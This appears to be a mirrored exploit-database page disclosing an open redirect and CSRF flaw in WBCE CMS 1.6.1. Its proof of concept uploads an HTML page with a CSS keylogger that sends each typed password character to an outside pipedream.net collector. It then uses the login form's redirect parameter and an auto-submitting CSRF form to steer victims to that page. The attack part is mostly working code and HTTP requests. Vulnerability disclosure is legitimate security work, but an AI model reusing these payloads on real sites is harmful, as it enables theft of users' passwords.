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WBCE CMS 1.6.1 Open Redirect & CSRF

CVE Category Price Severity
CWE-601 Not specified High
Author Risk Exploitation Type Date
Unknown High Remote 2023-07-03
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N 0.02145 0.9219

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023070004

Below is a copy:

WBCE CMS 1.6.1 Open Redirect & CSRF
Exploit Title: WBCE CMS 1.6.1 - Open Redirect & CSRF
Version: 1.6.1
Bugs:  Open Redirect + CSRF = CSS KEYLOGGING
Technology: PHP
Vendor URL: https://wbce-cms.org/
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
Date of found: 03-07-2023
Author: Mirabbas Aalarov
Tested on: Linux 


2. Technical Details & POC
========================================

1. Login to Account
2. Go to Media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/index.php#elf_l1_Lw)
3. Then you upload html file .(html file content is as below)

'''
<html>
    <head>
        <title>
            Login
        </title>
        <style>
            input[type="password"][value*="q"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/q');}
            input[type="password"][value*="w"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/w');}
            input[type="password"][value*="e"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/e');}
            input[type="password"][value*="r"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/r');}
            input[type="password"][value*="t"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/t');}
            input[type="password"][value*="y"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/y');}
            input[type="password"][value*="u"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/u');}
            input[type="password"][value*="i"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/i');}
            input[type="password"][value*="o"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/o');}
            input[type="password"][value*="p"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/p');}
            input[type="password"][value*="a"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/a');}
            input[type="password"][value*="s"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/s');}
            input[type="password"][value*="d"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/d');}
            input[type="password"][value*="f"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/f');}
            input[type="password"][value*="g"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/g');}
            input[type="password"][value*="h"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/h');}
            input[type="password"][value*="j"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/j');}
            input[type="password"][value*="k"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/k');}
            input[type="password"][value*="l"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/l');}
            input[type="password"][value*="z"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/z');}
            input[type="password"][value*="x"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/x');}
            input[type="password"][value*="c"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/c');}
            input[type="password"][value*="v"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/v');}
            input[type="password"][value*="b"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/b');}
            input[type="password"][value*="n"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/n');}
            input[type="password"][value*="m"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/m');}
            input[type="password"][value*="Q"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/Q');}
            input[type="password"][value*="W"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/W');}
            input[type="password"][value*="E"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/E');}
            input[type="password"][value*="R"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/R');}
            input[type="password"][value*="T"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/T');}
            input[type="password"][value*="Y"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/Y');}
            input[type="password"][value*="U"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/U');}
            input[type="password"][value*="I"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/I');}
            input[type="password"][value*="O"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/O');}
            input[type="password"][value*="P"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/P');}
            input[type="password"][value*="A"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/A');}
            input[type="password"][value*="S"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/S');}
            input[type="password"][value*="D"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/D');}
            input[type="password"][value*="F"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/F');}
            input[type="password"][value*="G"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/G');}
            input[type="password"][value*="H"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/H');}
            input[type="password"][value*="J"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/J');}
            input[type="password"][value*="K"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/K');}
            input[type="password"][value*="L"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/L');}
            input[type="password"][value*="Z"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/Z');}
            input[type="password"][value*="X"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/X');}
            input[type="password"][value*="C"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/C');}
            input[type="password"][value*="V"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/V');}
            input[type="password"][value*="B"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/B');}
            input[type="password"][value*="N"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/N');}
            input[type="password"][value*="M"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/M');}
            input[type="password"][value*="1"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/1');}
            input[type="password"][value*="2"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/2');}
            input[type="password"][value*="3"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/3');}
            input[type="password"][value*="4"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/4');}
            input[type="password"][value*="5"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/5');}
            input[type="password"][value*="6"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/6');}
            input[type="password"][value*="7"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/7');}
            input[type="password"][value*="8"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/8');}
            input[type="password"][value*="9"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/9');}
            input[type="password"][value*="0"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/0');}
            input[type="password"][value*="-"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/-');}
            input[type="password"][value*="."]{
            background-image: url('https://enflownwx6she.x.pipedream.net/.');}
            input[type="password"][value*="_"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%60');}
            input[type="password"][value*="@"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%40');}
            input[type="password"][value*="?"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%3F');}
            input[type="password"][value*=">"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%3E');}
            input[type="password"][value*="<"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%3C');}
            input[type="password"][value*="="]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%3D');}
            input[type="password"][value*=":"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%3A');}
            input[type="password"][value*=";"]{
            background-image: url('https://enflownwx6she.x.pipedream.net/%3B');}
        </style>
    </head>
<body>
    <label>Please enter username and password</label>
    <br><br>
    Password:: <input type="password" />
    <script>
        document.querySelector('input').addEventListener('keyup', (evt)=>{
        evt.target.setAttribute('value', evt.target.value);
        })
   </script>
</body>
</html>
'''

4.Then go to url of html file (http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html) and copy url.
5.Then you logout account and go to again login page (http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php)


POST /WBCE_CMS-1.6.1/wbce/admin/login/index.php HTTP/1.1
Host: localhost
Content-Length: 160
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpsessid-2729-sid=3i7oqonhjf0ug0jl5dfdp4uugg
Connection: close

url=&username_fieldname=username_3584B221EC89&password_fieldname=password_3584B221EC89&username_3584B221EC89=test&password_3584B221EC89=Hello123%21&submit=Login
 
6.If write as (https://ATTACKER.com) in url parameter on abowe request on  you redirect to attacker.com.
7.We write to html files url

url=http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html

8.And create csrf-poc with csrf.poc.generator

<html>
  <title>
    This CSRF was found by miri
  </title>
  <body>
    <h1>
      CSRF POC
    </h1>
    <form action="http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="url" value="http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>


9.If victim click , ht redirect to html file and this page send to my server all keyboard activity of victim.


Poc video : https://youtu.be/m-x_rYXTP9E

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